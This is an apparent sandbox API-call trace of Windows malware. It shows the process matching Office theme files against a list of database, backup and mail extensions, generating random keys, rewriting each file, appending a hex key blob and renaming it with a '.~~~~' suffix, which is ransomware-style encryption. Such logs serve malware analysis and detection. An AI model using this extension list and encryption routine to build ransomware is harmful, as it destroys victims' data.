	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DBF") returned 0x0
	[0123.417] lstrlenW (lpString=".EQL") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".EQL") returned 0x0
	[0123.417] lstrlenW (lpString=".FDB") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".FDB") returned 0x0
	[0123.417] lstrlenW (lpString=".EDB") returned 4
	[0123.417] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".EDB") returned 0x0
	[0123.418] lstrlenW (lpString=".DACPAC") returned 7
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DACPAC") returned 0x0
	[0123.418] lstrlenW (lpString=".VHD") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".VHD") returned 0x0
	[0123.418] lstrlenW (lpString=".DBV") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DBV") returned 0x0
	[0123.418] lstrlenW (lpString=".dacpac") returned 7
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dacpac") returned 0x0
	[0123.418] lstrlenW (lpString=".sdf") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".sdf") returned 0x0
	[0123.418] lstrlenW (lpString=".accdb") returned 6
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".accdb") returned 0x0
	[0123.418] lstrlenW (lpString=".DBX") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DBX") returned 0x0
	[0123.418] lstrlenW (lpString=".MDT") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".MDT") returned 0x0
	[0123.418] lstrlenW (lpString=".SQB") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".SQB") returned 0x0
	[0123.418] lstrlenW (lpString=".vhd") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".vhd") returned 0x0
	[0123.418] lstrlenW (lpString=".bac") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".bac") returned 0x0
	[0123.418] lstrlenW (lpString=".mdf") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".mdf") returned 0x0
	[0123.418] lstrlenW (lpString=".BAK") returned 4
	[0123.418] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".BAK") returned 0x0
	[0123.419] lstrlenW (lpString=".BAC") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".BAC") returned 0x0
	[0123.419] lstrlenW (lpString=".dbs") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dbs") returned 0x0
	[0123.419] lstrlenW (lpString=".vhdx") returned 5
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".vhdx") returned 0x0
	[0123.419] lstrlenW (lpString=".NDF") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".NDF") returned 0x0
	[0123.419] lstrlenW (lpString=".dat") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dat") returned 0x0
	[0123.419] lstrlenW (lpString=".DBS") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DBS") returned 0x0
	[0123.419] lstrlenW (lpString=".CKP") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".CKP") returned 0x0
	[0123.419] lstrlenW (lpString=".edb") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".edb") returned 0x0
	[0123.419] lstrlenW (lpString=".PST") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".PST") returned 0x0
	[0123.419] lstrlenW (lpString=".dbf") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dbf") returned 0x0
	[0123.419] lstrlenW (lpString=".SQL") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".SQL") returned 0x0
	[0123.419] lstrlenW (lpString=".pst") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".pst") returned 0x0
	[0123.419] lstrlenW (lpString=".dbv") returned 4
	[0123.419] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dbv") returned 0x0
	[0123.420] lstrlenW (lpString=".SDF") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".SDF") returned 0x0
	[0123.420] lstrlenW (lpString=".dtxs") returned 5
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dtxs") returned 0x0
	[0123.420] lstrlenW (lpString=".db3") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".db3") returned 0x0
	[0123.420] lstrlenW (lpString=".OST") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".OST") returned 0x0
	[0123.420] lstrlenW (lpString=".dbx") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dbx") returned 0x0
	[0123.420] lstrlenW (lpString=".DB3") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DB3") returned 0x0
	[0123.420] lstrlenW (lpString=".DAT") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DAT") returned 0x0
	[0123.420] lstrlenW (lpString=".VHDX") returned 5
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".VHDX") returned 0x0
	[0123.420] lstrlenW (lpString=".ndf") returned 4
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".ndf") returned 0x0
	[0123.420] lstrlenW (lpString=".DB") returned 3
	[0123.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DB") returned 0x0
	[0123.421] lstrlenW (lpString=".sql") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".sql") returned 0x0
	[0123.421] lstrlenW (lpString=".MYD") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".MYD") returned 0x0
	[0123.421] lstrlenW (lpString=".DBT") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DBT") returned 0x0
	[0123.421] lstrlenW (lpString=".ACCDB") returned 6
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".ACCDB") returned 0x0
	[0123.421] lstrlenW (lpString=".fdb") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".fdb") returned 0x0
	[0123.421] lstrlenW (lpString=".bak") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".bak") returned 0x0
	[0123.421] lstrlenW (lpString=".myd") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".myd") returned 0x0
	[0123.421] lstrlenW (lpString=".DTXS") returned 5
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".DTXS") returned 0x0
	[0123.421] lstrlenW (lpString=".ckp") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".ckp") returned 0x0
	[0123.421] lstrlenW (lpString=".dbt") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".dbt") returned 0x0
	[0123.421] lstrlenW (lpString=".db") returned 3
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".db") returned 0x0
	[0123.421] lstrlenW (lpString=".TXT") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".TXT") returned 0x0
	[0123.421] lstrlenW (lpString=".MDF") returned 4
	[0123.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".MDF") returned 0x0
	[0123.422] lstrlenW (lpString=".bdb") returned 4
	[0123.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".bdb") returned 0x0
	[0123.422] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0123.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0123.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0123.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0123.422] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.423] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.423] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.423] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24341355090) returned 1
	[0123.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb30a0390, dwHighDateTime=0x1d60e1e)) 
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a38d00
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a38d00 | out: hHeap=0x300000) returned 1
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ede50
	[0123.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.424] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ede50 | out: hHeap=0x300000) returned 1
	[0123.424] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.425] GetLastError () returned 0x0
	[0123.425] GetLastError () returned 0x0
	[0123.425] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.425] GetLastError () returned 0x0
	[0123.425] GetLastError () returned 0x0
	[0123.429] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.429] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xe01, lpOverlapped=0x0) returned 1
	[0123.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.430] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.430] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.431] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.431] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.431] CloseHandle (hObject=0x120) returned 1
	[0123.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4da0
	[0123.431] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.~~~~")) returned 1
	[0123.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4da0 | out: hHeap=0x300000) returned 1
	[0123.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.433] GetLastError () returned 0x0
	[0123.433] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.434] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.434] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.434] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24342445558) returned 1
	[0123.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb30a0390, dwHighDateTime=0x1d60e1e)) 
	[0123.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f758
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f758 | out: hHeap=0x300000) returned 1
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ede50
	[0123.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ede50 | out: hHeap=0x300000) returned 1
	[0123.435] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.436] GetLastError () returned 0x0
	[0123.436] GetLastError () returned 0x0
	[0123.436] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.436] GetLastError () returned 0x0
	[0123.436] GetLastError () returned 0x0
	[0123.438] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.438] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xe20, lpOverlapped=0x0) returned 1
	[0123.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.440] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.440] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.440] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.441] CloseHandle (hObject=0x120) returned 1
	[0123.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0123.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.~~~~")) returned 1
	[0123.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0123.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.442] GetLastError () returned 0x0
	[0123.443] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0123.444] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.444] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0123.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0123.444] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24343441634) returned 1
	[0123.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb30c64f0, dwHighDateTime=0x1d60e1e)) 
	[0123.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0123.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f790
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f790 | out: hHeap=0x300000) returned 1
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0123.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b46a0
	[0123.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0123.445] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0123.445] GetLastError () returned 0x0
	[0123.446] GetLastError () returned 0x0
	[0123.446] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0123.446] GetLastError () returned 0x0
	[0123.446] GetLastError () returned 0x0
	[0123.448] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.448] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xe1d, lpOverlapped=0x0) returned 1
	[0123.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.450] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.450] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
